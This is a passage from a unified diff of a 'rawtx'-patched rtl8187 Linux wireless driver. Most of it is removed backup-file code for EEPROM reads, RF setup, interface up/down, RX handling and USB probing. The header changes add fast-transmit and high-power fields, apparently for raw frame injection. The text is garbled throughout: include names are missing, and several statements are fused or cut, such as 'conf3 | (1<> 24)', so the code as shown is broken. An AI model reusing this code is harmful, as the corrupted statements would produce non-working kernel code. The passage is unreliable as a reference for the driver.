DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-02-22 15:02:01.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void 